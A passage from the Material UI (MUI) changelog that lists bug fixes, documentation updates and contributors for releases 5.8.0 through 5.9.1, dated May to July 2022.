@MonstraG\n\n### Core\n\n- [core] Swallow ad blocker fetch fail (#33617) @oliviertassinari\n- [core] Fix dep security by resolving `thenify` to latest (#33612) @siriwatknp\n- [test] Remove `view` option from Event in Snackbar tests (#33555) @ZeeshanTamboli\n\nAll contributors of this release in alphabetical order: @AHeiming, @bairamau, @bharatkashyap, @bytasv, @danilo-leal, @dd-ssc, @DinhBaoTran, @gerdadesign, @hbjORbj, @joserodolfofreitas, @michaldudak, @MonstraG, @oliviertassinari, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.9.1\n\n<!-- generated comparing v5.9.0..master -->\n\n_Jul 18, 2022_\n\nA big thanks to the 17 contributors who made this release possible. This release is mainly about 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.9.1`\n\n- [Autocomplete] Fix disabling component crashing when focused (#31313) @mzedel\n- [Grid] Avoid scrollbar in demo (#33527) @oliviertassinari\n- [Slider] Fix transition of tooltips on vertical slider (#33009) @abhinav-22-tech\n- [TouchRipple] Fix crash on android where `event.touches` are an empty array (#32974) @lukeggchapman\n\n### `@mui/system@5.9.1`\n\n- [system] Add flag to switch negative margin approach in Grid (#33484) @siriwatknp\n- [system] Remove needless optional chaining check in `createEmptyBreakpointObject` method (#33482) @ZeeshanTamboli\n\n### `@mui/base@5.0.0-alpha.90`\n\n- [base] Export types used by components' props (#33522) @michaldudak\n- [base] Add missing type definitions in useControllableReducer (#33496) @michaldudak\n- [SelectUnstyled] Do not call onChange unnecessarily (#33408) @michaldudak\n\n### `@mui/lab@5.0.0-alpha.91`\n\n- [TimelineDot] Add TimelineDotPropsColorOverrides interface to extend color options (#33466) @lolaignatova\n\n### Docs\n\n- [docs] Add note about CssBaseline in the dark mode page (#33108) @GabrielaLokelani\n- [docs] Fix typos in the Interoperability page (#33273) @HexM7\n- [docs] Improve the `useTheme` documentation (#33508) @rickstaa\n- [docs] Fix 301 redirections (#33521) @oliviertassinari\n- [docs] Link the same codesandbox as in the docs (#33472) @oliviertassinari\n- [docs] Fix copy search false positives (#33438) @oliviertassinari\n- [docs] Fix typo (#33520) @aravindpanicker\n- [docs] Update Tailwind docs to include step about updating popover containers (#33315) @ajhenry\n- [docs] Add yarn command for Roboto font in Material UI's typography.md (#33485) @anthonypz\n- [docs] Add new community content to the Material UI Learn page (#32927) @Nikhilthadani\n- [examples] Change createEmotionCache to use `insertionPoint` (#32104) @ANTARES-KOR\n- [examples] Fix error in Next.js example with @mui/styles (#33456) @paustria\n\n### Core\n\n- [core] Cleanup experiments (#33547) @siriwatknp\n- [core] Update CHANGELOG to include pickers breaking change (#33486) @siriwatknp\n\nAll contributors of this release in alphabetical order: @abhinav-22-tech, @ajhenry, @ANTARES-KOR, @anthonypz, @aravindpanicker, @GabrielaLokelani, @HexM7, @lolaignatova, @lukeggchapman, @michaldudak, @mzedel, @Nikhilthadani, @oliviertassinari, @paustria, @rickstaa, @siriwatknp, @ZeeshanTamboli\n\n## 5.9.0\n\n<!-- generated comparing v5.8.7..master -->\n\n_Jul 12, 2022_\n\nA big thanks to the 19 contributors who made this release possible. Here are some highlights ✨:\n\n- 🧪 Exported Grid v2 as `Unstable_Grid2` (#33479) @siriwatknp\n- 📖 Added a guide for using Joy UI and Material UI together (#33396) @siriwatknp\n- 🐛 Fixed a few bugs in Material UI components. Thanks to @ZeeshanTamboli, @ivan-ngchakming, and @joebingham-wk.\n- ⚠️ **[BREAKING CHANGE]** Date pickers were removed from the lab. Learn how to migrate by visiting the [migration guide](https://mui.com/x/migration/migration-pickers-lab/). (#33386) @flaviendelangle\n- many other 🐛 bug fixes and 📚 documentation improvements\n- our documentation site is now running with React 18! (#33196) @mnajdova\n\n### `@mui/material@5.9.0`\n\n- [CssBaseline] Fixes in overriding style (#33338) @ZeeshanTamboli\n- [Autocomplete] Remove unnecessary `clsx` wrapper for single className (#33398) @ZeeshanTamboli\n- [Grid] Export new grid as unstable (#33479) @siriwatknp\n- [Tooltip] Fix children mouse over detection (#32321) @ivan-ngchakming\n- [TypeScript] getCssVar autocomplete for Material UI (#33464) @siriwatknp\n- [TypeScript] Fix theme options components types to use `Theme` (#33434) @siriwatknp\n- [TypeScript] Reexports necessary types for module augmentation (#33397) @siriwatknp\n- [ScopedCssBaseline] Add sx typings (#33474) @joebingham-wk\n\n### `@mui/system@5.9.0`\n\n- [System] Add offset feature to Grid (#33415) @siriwatknp\n- [system] Add new `Grid` implementation (#32746) @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.90`\n\n**⚠️ Breaking changes**\n\n- [lab] Remove the pickers (#33386) @flaviendelangle\n\n  The pickers are moved to MUI X, check out the [migration guide](https://mui.com/x/migration/migration-pickers-lab/).\n\n**Changes**\n\n- [Masonry] Support rem/em values for spacing prop (#33384) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.89`\n\n- [Base] Change the order of class names merged in useSlotProps (#33383) @michaldudak\n- [ModalUnstyled] Accept callbacks in componentsProps (#33181) @michaldudak\n- [SelectUnstyled] Accept callbacks in componentsProps (#33197) @michaldudak\n- [TabsUnstyled] Accept callbacks in componentsProps (#33284) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.36`\n\n- [Joy] Add guide about using Joy and Material UI together (#33396) @siriwatknp\n- [Joy] Fix variants color palette regressions (#33394) @danilo-leal\n\n### Docs\n\n- [docs] Correcting small grammatical error (#33393) @robyyo\n- [docs] Link to the correct package on Joy component pages (#33439) @cherniavskii\n- [docs] Fix e2e tests (#33477) @siriwatknp\n- [docs] Fix dead links (#33462) @oliviertassinari\n- [docs] Cleanup the migration (#33463) @siriwatknp\n- [docs] Fix broken Sponsoring services links @samuelsycamore\n- [docs] Improve repo README with light/dark logos, relative links and more (#33356) @samuelsycamore\n- [docs] Update links to MUI X Overview and Introduction pages (#33201) @samuelsycamore\n- [docs] Update to React 18 (#33196) @mnajdova\n- [docs] Simplify \"Upload button\" demo (#33326) @baharalidurrani\n- [docs] Add \"refine\" demo to showcase (#33240) @omeraplak\n- [docs] Add webpack alias for legacy utils package (#33376) @jgbae\n- [docs] Improve external link icons synonyms (#33257) @davidgarciab\n- [examples] Update Base UI with Tailwind CSS to use the latest versions of the dependencies (#33401) @mnajdova\n- [examples] Add Base UI example (#33154) @siriwatknp\n\n### Core\n\n- [core] Fix @mui/monorepo regression for the import of the docs infra (#33390) @Janpot\n- [core] Remove old babel resolve rule (#33432) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @baharalidurrani, @cherniavskii, @danilo-leal, @davidgarciab, @flaviendelangle, @hbjORbj, @ivan-ngchakming, @Janpot, @jgbae, @joebingham-wk, @joserodolfofreitas, @michaldudak, @mnajdova, @oliviertassinari, @omeraplak, @robyyo, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.8.7\n\n<!-- generated comparing v5.8.6..master -->\n\n_Jul 4, 2022_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 Fixed an issue causing TypeScript errors when building a project with Material UI v5.8.6 (@michaldudak)\n- 🐛 Fixed a few bugs in Material UI components. Thanks @henriqueholtz, @jake-collibra, @MattiasMartens and @TimoWilhelm!\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.8.7`\n\n- [Autocomplete] Add some missing props in `useAutocomplete` (#33269) @henriqueholtz\n- [Autocomplete] Extend `componentsProps` to include `popper` and `popupIndicator` slots (#33283) @jake-collibra\n- [Select] Annotate empty string as valid value prop (#33088) @MattiasMartens\n- [SnackbarContent] Fix message text color with css var provider (#33285) @TimoWilhelm\n\n### `@mui/styled-engine@5.8.7`\n\n- [styled-engine] Add missing type dependency on csstype (#33310) @Methuselah96\n\n### `@mui/system@5.8.7`\n\n- [system] Simplify theme input types for `CssVarsProvider` (#33381) @siriwatknp\n- [system] Export required types (#33324) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.35`\n\n- [Joy] Add radio button documentation (#33254) @siriwatknp\n- [Joy] Add switch documentation (#33302) @siriwatknp\n- [Joy] Batch a couple of documentation refinements (#33158)\n- [Joy] Enable Joy and Material UI compatibility (#33379) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.88`\n\n- [base] Remove a type incompatible with TypeScript 3.5 (#33361) @michaldudak\n- [BadgeUnstyled] Export BadgeUnstyledOwnProps interface to fix TypeScript compiler error (#33314) @aaronlademann-wf\n- [TablePaginationUnstyled] Accept callbacks in componentsProps (#33309) @michaldudak\n\n### Docs\n\n- [docs] Fix Link typings in the react-router example (#32308) @aaarichter\n- [docs] Add caveat about class components with Tooltip (#33325) @joshkel\n- [docs] Fix SEO issues (#33288) @oliviertassinari\n- [docs] Fix Slider's \"player\" demo (#33267) @xlianghang\n\nAll contributors of this release in alphabetical order: @aaarichter, @aaronlademann-wf, @danilo-leal, @henriqueholtz, @jake-collibra, @joshkel, @MattiasMartens, @Methuselah96, @michaldudak, @oliviertassinari, @siriwatknp, @TimoWilhelm, @xlianghang\n\n## 5.8.6\n\n<!-- generated comparing v5.8.5..master -->\n\n_Jun 27, 2022_\n\nA big thanks to the 13 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚒️ Fixed React 18 issues in few components\n- 🚀 Improved the TypeScript augmentation when using CSS variables with `@mui/material`\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.8.6`\n\n- [Alert] Add support for CSS vars (#32624) @haneenmahd\n- [Alert] Use `getContrastText` for filled variant font color (#29813) @SamoraMabuya\n\n  Note: The color of the text in the warning contained `Alert` in dark mode was changed to black in order to improve the color contrast ratio\n\n- [OutlinedInput] Fix `ownerState` undefined in theme style overrides (#33241) @siriwatknp\n- [Tabs] Fix crash when used with React 18 & Suspense (#33277) @mnajdova\n- [TypeScript] Add CSS vars type augmentation for Material UI (#33211) @siriwatknp\n\n### `@mui/system@5.8.6`\n\n- [system] Add enableColorScheme option to getInitColorSchemeScript (#33261) @siriwatknp\n\n### `@mui/utils@5.8.6`\n\n- [utils] Allow state prefix to be configurable (#32972) @siriwatknp\n\n### `@mui/base@5.0.0-alpha.87`\n\n- [base] Improve the return type of useSlotProps (#33279) @michaldudak\n- [base] Improve some types (#33270) @mnajdova\n- [MenuUnstyled] Fix keyboard accessibility of menu items (#33145) @michaldudak\n- [ModalManager] Lock body scroll when container is inside shadow DOM (#33168) @jacobweberbowery\n- [SliderUnstyled] Use useSlotProps (#33132) @michaldudak\n- [TextareaAutosize] Fix crash when used with React 18 & Suspense (#33238) @howlettt\n- [TextareaAutosize] Fix warnings for too many renders in React 18 (#33253) @mnajdova\n\n### `@mui/joy@5.0.0-alpha.34`\n\n- [Joy] Add `Sheet` doc (#32820) @hbjORbj\n\n### Docs\n\n- [blog] Polish Why you should migrate to Material UI v5 today (#33244) @oliviertassinari\n- [docs] Add note in docs about `componentsProps.root` taking precedence (#33097) @ZeeshanTamboli\n- [docs] Remove a note about Base components being reexported from Material UI (#33265) @michaldudak\n- [docs] Update code snippet in docs for custom color palette (#32946) @ZeeshanTamboli\n- [docs] Fix the docs for production class generation (#31933) @Fafruch\n- [docs] Fix internal link in Box page (#33149) @davidgarciab\n- [docs] Badge component link in Base docs should be under Data Display section (#33249) @ZeeshanTamboli\n- [examples] Fix comment typo (#33256) @WinmezzZ\n\n### Core\n\n- [core] Remove dead code (#33243) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @davidgarciab, @Fafruch, @haneenmahd, @hbjORbj, @howlettt, @jacobweberbowery, @michaldudak, @mnajdova, @oliviertassinari, @SamoraMabuya, @siriwatknp, @WinmezzZ, @ZeeshanTamboli\n\n## 5.8.5\n\n<!-- generated comparing v5.8.4..master -->\n\n_Jun 20, 2022_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added support for CSS variables in the `Avatar` component and the `SpeedDialAction` component respectively by @vicasas and @gin1314\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.8.5`\n\n- [Avatar] Add support for CSS variables (#32499) @vicasas\n- [Dialog] Fix broken styles if `maxWidth` is set to `false` (#32987) @kmurgic\n- [SpeedDialAction] Add support for CSS variables (#32608) @gin1314\n- [Tabs] Increment scroll of the minimum amount possible (#33103) @oliviertassinari\n\n### `@mui/codemod@5.8.5`\n\n- [codemod] Preserve comments within jss-to-tss-react (#33170) @ryancogswell\n\n### `@mui/lab@5.0.0-alpha.87`\n\n- [Masonry] Fix flickering when used with React 18 (#33163) @mnajdova\n\n### `@mui/base@5.0.0-alpha.86`\n\n- [BadgeUnstyled] Accept callbacks in componentsProps (#33176) @michaldudak\n- [ButtonUnstyled] Use useSlotProps (#33096) @michaldudak\n- [FormControlUnstyled] Accept callbacks in componentsProps (#33180) @michaldudak\n- [InputUnstyled] Use useSlotProps (#33094) @michaldudak\n- [ModalUnstyled] Define ownerState and slot props' types (#32901) @michaldudak\n- [SwitchUnstyled] Use useSlotProps (#33174) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.33`\n\n- [Joy] Add Checkbox documentation (#33171) @siriwatknp\n- [Joy] Add List documentation (#33120) @siriwatknp\n- [Joy] Make slider displays Joy classname (#33051) @siriwatknp\n\n### Docs\n\n- [blog] Update Blogpost to clear confusion on \"no impact\" disclaimer. (#33131) @joserodolfofreitas\n- [blog] Add post about v5 Migration guide update (#33063) @samuelsycamore\n- [blog] Fix display on Safari (#33102) @oliviertassinari\n- [docs] Add guide on how to use Base UI with Tailwind CSS (#33100) @mnajdova\n- [docs] Improve Joy template UX (#33159) @siriwatknp\n- [docs] Update Shadow DOM guide (#33160) @cherniavskii\n- [docs] Fix SEO regressions (#33106) @oliviertassinari\n- [docs] Add job ad in table of content (#33143) @mnajdova\n- [docs] Add customization as a value proposition (#33014) @oliviertassinari\n- [examples] Add example using nextjs & @mui/styles as a starter for the migration to v5 (#33005) @mnajdova\n\n### Core\n\n- [core] Add CSS variables support for Material UI components (#32835) @siriwatknp\n- [core] Add name to workspace root package.json (#33226) @Janpot\n- [core] Update bug template with generic instruction (#33153) @joserodolfofreitas\n- [core] Remove dead and redundant code (#33125) @oliviertassinari\n- [core] Improve inline code rendering within the details tag (#33086) @Harmouch101\n\nAll contributors of this release in alphabetical order: @cherniavskii, @DanailH, @gin1314, @Harmouch101, @Janpot, @joserodolfofreitas, @kmurgic, @michaldudak, @mnajdova, @oliviertassinari, @ryancogswell, @samuelsycamore, @siriwatknp, @vicasas\n\n## 5.8.4\n\n<!-- generated comparing v5.8.3..master -->\n\n_Jun 14, 2022_\n\nA big thanks to the 24 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 Added support for custom breakpoints in the `Grid` component by @boutahlilsoufiane\n- 📚 Added guide on how to use Material UI with Shadow DOM by @cherniavskii\n- many other 🐛 bug fixes and 📚 documentation improvements\n\n### `@mui/material@5.8.4`\n\n- [Button] Add missing classes in `ButtonClasses` type (#33040) @ZeeshanTamboli\n- [Grid] Fix prop-type key regression (#33123) @oliviertassinari\n- [Grid] Support custom breakpoints (#31998) @boutahlilsoufiane\n- [Grow] Limit CSS transition bug workaround to Safari 15.4 only (#32996) @igordanchenko\n- [Hidden] Remove dependency on hoist-non-react-statics (#33015) @oliviertassinari\n- [Link] Add support for CSS variables (#33036) @winderica\n- [Popover] Export `getOffsetTop` & `getOffsetLeft` from Popover's index and add typings (#32959) @rart\n- [Slider] Fix SliderValueLabelProps type (#32895) @oliviertassinari\n- [Snackbar] Remove `RTL` direction specific logic (#32808) @aaarichter\n- [StepIcon] Fix text centering when changing browser font size (#32706) @alansouzati\n- [Tabs] Scroll by width of the first visible tab if only one tab is partially visible (#32778) @frankkluijtmans\n\n### `@mui/system@5.8.4`\n\n- [Stack, system] Apply correct responsive styles if any custom breakpoints are provided (#32913) @ZeeshanTamboli\n- [system] Fix missing typings for ColorFormat (#32417) @l-zoy\n\n### `@mui/codemod@5.8.4`\n\n- [codemod] Add support for `@mui/styles/makeStyles` imports (#32962) @joshkel\n\n### `@mui/lab@5.0.0-alpha.86`\n\n- [pickers] Fix broken ref forwarding (#33107) @oliviertassinari\n- [lab] Fix React's `forwardRef` warning when importing from the index (#33134) @mnajdova\n\n### `@mui/base@5.0.0-alpha.85`\n\n- [MenuUnstyled] Accept callbacks in componentsProps (#32997) @michaldudak\n- [ModalUnstyled] Fix errors from the W3C validator about incorrect aria-hidden attribute on some elements (#30920) @mkrtchian\n- [ModalUnstyled] Fix behavior of not respecting props ariaHidden value (#32055) @tech-meppem\n\n### `@mui/joy@5.0.0-alpha.32`\n\n- [Joy] Miscellaneous card fixes (#33129) @siriwatknp\n- [Joy] Miscellaneous fixes (#33073) @siriwatknp\n- [Joy] Add typography and link docs (#33047) @siriwatknp\n\n### Docs\n\n- [Contributing.md] Local install instructions (#32975) @Moizsohail\n- [docs] Add responsive AppBar with drawer (#32769) @dvlprAlamin\n- [docs] Move codesandbox to MUI org (#33122) @oliviertassinari\n- [docs] Add Shadow DOM guide (#33007) @cherniavskii\n- [docs] Fix typo in Material UI overview page (#33087) @oliviertassinari\n- [docs] Miscellaneous fixes in `Base UI` docs (#33091) @ZeeshanTamboli\n- [docs] Fix GitHub capitalization (#33071) @oliviertassinari\n- [docs] Fix a typo in `InputUnstyled` docs (#33077) @ZeeshanTamboli\n- [docs] Add notification for Joy blog post (#33059) @siriwatknp\n- [docs] Improve aspect ratio docs and integration (#33065) @siriwatknp\n- [docs] Update code block copy label (#33128) @siriwatknp\n- [docs] Fix typo in Autocomplete CSS API (#32838) @KeaghanKennedy\n- [docs] Improvements for Radio Group Rating Docs (#32843) @Kai-W\n- [docs] Enable Joy pages (#33064) @siriwatknp\n\n### Core\n\n- yarn proptypes @oliviertassinari\n- [core] Update dependencies to fix security vulnerabilities (#33095) @michaldudak\n- [core] Import new line convention (#33068) @oliviertassinari\n- [core] Make repository configurable in changelog script (#33130) @Janpot\n\nAll contributors of this release in alphabetical order: @aaarichter, @alansouzati, @boutahlilsoufiane, @cherniavskii, @danilo-leal, @dvlprAlamin, @frankkluijtmans, @igordanchenko, @Janpot, @joshkel, @Kai-W, @KeaghanKennedy, @l-zoy, @michaldudak, @mkrtchian, @mnajdova, @Moizsohail, @oliviertassinari, @pushys, @rart, @siriwatknp, @tech-meppem, @winderica, @ZeeshanTamboli\n\n## 5.8.3\n\n<!-- generated comparing v5.8.2..master -->\n\n_Jun 7, 2022_\n\nA big thanks to the 15 contributors who made this release possible.\nThis release is mostly about 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.8.3`\n\n- [Alert] Constrain message width and allow overflow (#32747) @Janpot\n- [Checkbox] Add support for CSS variables (#32579) @haneenmahd\n- [Slider] Fix positioning of tooltips on vertical slider (#32919) @abhinav-22-tech\n\n### `@mui/system@5.8.3`\n\n- [system] Configurable attributes for libraries (#32971) @siriwatknp\n\n### `@mui/codemod@5.8.3`\n\n- [codemod] Fix infinite loop in jss-to-tss-react and add TODO (#33048) @ryancogswell\n\n### `@mui/lab@5.0.0-alpha.85`\n\n- [pickers] Add deprecations when importing pickers from the lab (#32950) @flaviendelangle\n\n### `@mui/joy@5.0.0-alpha.31`\n\n- [Joy] Add `Slider` component and demos (#32694) @hbjORbj\n- [Joy] Add articles about customization approaches (#32887) @siriwatknp\n- [Joy] Add automatic adjustment page to core features (#32980) @siriwatknp\n- [Joy] Add docs about dark mode (#33002) @siriwatknp\n- [Joy] Add template UIs & first look blog post (#32791) @danilo-leal\n\n### `@mui/base@5.0.0-alpha.84`\n\n- [base] Remove @mui/system in tests (#32945) @kevinji\n- [ButtonUnstyled] Accept callbacks in componentsProps (#32991) @michaldudak\n- [SwitchUnstyled] Accept callbacks in componentsProps (#32993) @michaldudak\n- [TablePaginationUnstyled] Define ownerState and slot props' types (#32905) @michaldudak\n- [TabPanelUnstyled] Define ownerState and slot props' types (#32928) @michaldudak\n- [TabsListUnstyled] Define ownerState and slot props' types (#32925) @michaldudak\n\n### Docs\n\n- [blog] Fix anchor link scroll (#32994) @oliviertassinari\n- [docs] Add \"Migration\" section to sidebar and revise v4-v5 content (#32740) @samuelsycamore\n- [docs] Add What doesn't count as a breaking change? (#32850) @oliviertassinari\n- [docs] Fix 301 link @oliviertassinari\n- [docs] Fix icon color in `BadgeUnstyled` docs (#32976) @ZeeshanTamboli\n- [docs] Improve product identifier (#32707) @danilo-leal\n- [docs] Improve UX with back to top (#32896) @oliviertassinari\n- [docs] Polish overview page to Material UI (#32954) @oliviertassinari\n- [docs] Redirect older URLs (#33037) @oliviertassinari\n- [docs] Remove pickers page from the Lab section (#32961) @DanailH\n- [docs] Show product identifier on updated MUI X Introduction pages (#32966) @samuelsycamore\n- [docs] Throw on 301 links (#32939) @oliviertassinari\n\n### Core\n\n- [core] Improve icon synonyms (#32742) @oliviertassinari\n- [core] Prepare Next.js config for React 18 (#32963) @michaldudak\n- [core] Remove dead logic (#32940) @oliviertassinari\n- [core] Update dependencies to fix security vulnerabilities (#32947) @michaldudak\n- Add security link to README for Tidelift @mbrookes\n\nAll contributors of this release in alphabetical order: @abhinav-22-tech, @DanailH, @danilo-leal, @flaviendelangle, @haneenmahd, @hbjORbj, @Janpot, @kevinji, @mbrookes, @michaldudak, @oliviertassinari, @ryancogswell, @samuelsycamore, @siriwatknp, @ZeeshanTamboli\n\n## 5.8.2\n\n<!-- generated comparing v5.8.1..master -->\n\n_May 30, 2022_\n\nA big thanks to the 8 contributors who made this release possible. Here are some highlights ✨:\n\n- 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/system@5.8.2`\n\n- [system] Add `getColorSchemeSelector` util (#32868) @siriwatknp\n\n### `@mui/lab@5.0.0-alpha.84`\n\n- [Masonry] Place items to the left when there are less objects than specified in `column` prop (#32873) @hbjORbj\n\n### `@mui/base@5.0.0-alpha.83`\n\n- [BadgeUnstyled] Define ownerState and slot props' types (#32750) @michaldudak\n- [SliderUnstyled] Define ownerState and slot props' types (#32739) @michaldudak\n- [SwitchUnstyled] Define ownerState and slot props' types (#32573) @michaldudak\n- [TabsUnstyled] Define ownerState and slot props' types (#32918) @michaldudak\n- [TabUnstyled] Define ownerState and slot props' types (#32915) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.30`\n\n- [Joy] use `textColor` prop for Typography and Link (#32938) @siriwatknp\n- [Joy] Make variants for more flexible (#32931) @siriwatknp\n- [Joy] Improve automatic adjustment (#32923) @siriwatknp\n- [Joy] Add `Chip` doc (#32819) @hbjORbj\n- [Joy] Add `AspectRatio` demos (#32848) @siriwatknp\n- [Joy] Fix wrong urls (#32883) @siriwatknp\n\n### Docs\n\n- [docs] Iterate on the job ad for React engineer in Core (#32900) @mnajdova\n- [blog] Fix avatar image resolution (#32890) @oliviertassinari\n- [docs] Link the first page of the product (#32943) @oliviertassinari\n- [docs] Batch small changes (#32170) @michaldudak\n- [docs] Allow function prop to return undefined (#32766) @m4theushw\n- [docs] Fix wrong link to Material Icons (#32847) @oliviertassinari\n- [docs] Fix ClassNameGenerator content (#32800) @siriwatknp\n- [docs] Fix navigation links (#32851) @oliviertassinari\n- [docs] Document the `size` prop for InputLabel (#32936) @romelperez\n- [docs] Add note about transparent background on the outlined Alert variant (#32810) @aaarichter\n\n### Core\n\n- [core] Improve the incomplete issues workflow (#32878) @mnajdova\n- [core] Add CI check that the PR has label (#32886) @mnajdova\n- [core] Avoid leaking @babel/runtime (#32874) @oliviertassinari\n\nAll contributors of this release in alphabetical order: @aaarichter, @hbjORbj, @m4theushw, @michaldudak, @mnajdova, @oliviertassinari, @romelperez, @siriwatknp\n\n## 5.8.1\n\n<!-- generated comparing v5.8.0..master -->\n\n_May 23, 2022_\n\nA big thanks to the 21 contributors who made this release possible. Here are some highlights ✨:\n\n- 💅 Added CSS variables support for two more Material UI components by @diggis00 and @alisasanib\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.8.1`\n\n- [Alert] Fix missing `ownerState` on the `action` slot (#32801) @mnajdova\n- [Fab] Make the `color` prop type extendable (#31830) @paales\n- [ListItemButton] Render as link if href specified (#32403) @o-dubrovskyi\n- [Paper] Add support for CSS variables (#32570) @diggis00\n- [Radio] Add support for CSS variables (#32599) @alisasanib\n- [Slider] Prevent rendering for marks that are out of the min & max bounds (#32436) @abriginets\n- [Slider] Slider having marks should be customizable in theme (#32816) @ZeeshanTamboli\n- [TouchRipple] Allows call imperative methods without event (#31955) @alexfauquette\n\n### `@mui/system@5.8.1`\n\n- [system] Simplify stylesheet injection logic (#32869) @siriwatknp\n- [system] Fix color scheme specificity (#32628) @siriwatknp\n- [system] Fix `borderRadius` errors when used inside `CssVarsProvider` (#32817) @mnajdova\n- [system] Fix toolbar media query mixin getting merged in wrong order (#32713) @ZeeshanTamboli\n\n### `@mui/lab@5.0.0-alpha.83`\n\n- [lab] Add missing `peerDependencies` (#32623) @nate-summercook\n- [pickers] Update @mui/x-date-pickers to be usable with React 18 (#32828) @flaviendelangle\n\n### `@mui/base@5.0.0-alpha.82`\n\n- [SliderUnstyled] Fix `disabledSwap` not being respected in `onChangeCommitted` (#32647) @JeanPetrov\n\n### `@mui/joy@5.0.0-alpha.29`\n\n- [Joy] Show Joy pages on master (#32866) @siriwatknp\n- [Joy] Add an overview page (#32836) @danilo-leal\n- [Joy] Add doc for the card components (#32825) @siriwatknp\n- [Joy] Miscellaneous fixes (#32815) @siriwatknp\n\n### Docs\n\n- [docs] Simplify header DOM structure (#32844) @oliviertassinari\n- [docs] Fix CodeSandbox & StackBlitz generation (#32726) @siriwatknp\n- [docs] Fix urls to columns pages in pricing table (#32842) @alexfauquette\n- [docs] Fix Tailwind CSS integration docs (#32512) @robertwt7\n- [docs] Fixed wrong command for the `link-underline-hover` codemod (#32793) @veronikaslc\n- [docs] Fixed broken link on the icons page (#32780) @SamuelMaddox\n- [docs] Add \"back to top\" button (#30441) @VibhorJaiswal\n- [docs] Fix typo in notifications @mbrookes\n- [docs] New WAI-ARIA guidelines location (#32865) @oliviertassinari\n- [docs] Mention the ESLint plugin for detecting unused classes in tss-react (#32666) @garronej\n- [docs] Update `useAutocomplete` demos to use `Mui-focused` class (#32757) @ZeeshanTamboli\n- [examples] Fix `NextLinkComposedProps` gives a TypeScript error (#32655) @ZeeshanTamboli\n\n### Core\n\n- [core] Upgrade MUI X dependency (#32824) @oliviertassinari\n- [typescript] Allow module augmentation for `Mixins` (#32798) @mnajdova\n\nAll contributors of this release in alphabetical order: @abriginets, @alexfauquette, @alisasanib, @apedroferreira, @danilo-leal, @diggis00, @flaviendelangle, @garronej, @JeanPetrov, @mbrookes, @mnajdova, @nate-summercook, @o-dubrovskyi, @oliviertassinari, @paales, @robertwt7, @SamuelMaddox, @siriwatknp, @veronikaslc, @VibhorJaiswal, @ZeeshanTamboli\n\n## 5.8.0\n\n<!-- generated comparing v5.7.0..master -->\n\n_May 17, 2022_\n\nA big thanks to the 14 contributors who made this release possible. Here are some highlights ✨:\n\n- 🚀 [Blog post](https://mui.com/blog/premium-plan-release/) for announcing the release of the Premium plan of MUI X is out thanks to @joserodolfofreitas.\n- Codemod for `jss` to `tss-react` migration is out thanks to @ryancogswell\n- And more 🐛 bug fixes and 📚 documentation improvements.\n\n### `@mui/material@5.8.0`\n\n- [Autocomplete] Fix `getInputProps` TypeScript return type (#32730) @ZeeshanTamboli\n- [Autocomplete] Forward props to renderTags() (#32637) @emlai\n- [Badge] Fix TypeScript error when adding style overrides for Badge (#32745) @ZeeshanTamboli\n- [Menu] Fix context menu open position (#32661) @oliviertassinari\n\n### `@mui/system@5.8.0`\n\n- [system] Add `Container` component and `createContainer` factory (#32263) @mnajdova\n\n### `@mui/base@5.0.0-alpha.81`\n\n- [InputUnstyled] Support callbacks in componentsProps (#32271) @michaldudak\n- [InputUnstyled] Define ownerState and slot props' types (#32491) @michaldudak\n- [MenuUnstyled] Demos improvements (#32714) @michaldudak\n- [OptionUnstyled] Define ownerState and slot props' types (#32717) @michaldudak\n\n### `@mui/joy@5.0.0-alpha.28`\n\n- [Joy] Add Badge doc (#32790) @siriwatknp\n- [Joy] Add global variant feature page (#32695) @siriwatknp\n- [Joy] Add avatar page (#32711) @siriwatknp\n\n### `@mui/codemod@5.8.0`\n\n- [codemod] Add jss to tss-react codemod (#31802) @ryancogswell\n\n### Docs\n\n- [blog] Add release post for MUI X Premium (#32720) @joserodolfofreitas\n- [docs] Fix wrong code snippet for overriding styles in theme with a callback value (#32781) @ZeeshanTamboli\n- [docs] Update Crowdin logo (#32782) @andrii-bodnar\n- [docs] Improve callouts design (#32709) @danilo-leal\n- [docs] Revise the \"Understanding MUI packages\" article (#32382) @danilo-leal\n- [docs] Fix link to the material icons (#32771) @oliviertassinari\n- [docs] Add notification for Premium release blog post (#32728) @joserodolfofreitas\n- [docs] Base Portal style revisions and final review (#32157) @samuelsycamore\n- [docs] Add joy to docs package.json (#32744) @siriwatknp\n- [docs] Fix TOC-related styles not being applied when disableAd=true (#32733) @cherniavskii\n- [docs] Add TypeScript guide on the polymorphic components (#32168) @mnajdova\n- [docs] Fix warning mode pass to React.Fragment (#32729) @siriwatknp\n- [docs] Revise Showcase copy for clarity + audit appList (#31946) @samuelsycamore\n- [examples] Update remix example's tsconfig with required values (#32723) @michaldudak\n- [examples] Update to use React 18's createRoot (#32506) @mnajdova\n- [l10n] Fix typos and translations on arSD and arEG locales (#31848) @shadigaafar\n\n### Core\n\n- [core] Enabled Renovate's lockfile maintenance (#32635) @michaldudak\n- [core] Extract `MuiPage` interface to separate file (#32715) @cherniavskii\n- [core] Remove unnecessary `spacing` parameter from `createMixins` method (#32690) @ZeeshanTamboli\n- [private-classnames] Remove package and move everything to utils (#32758) @mnajdova\n\nAll contributors of this release in alphabetical order: @andrii-bodnar, @cherniavskii, @danilo-leal, @emlai, 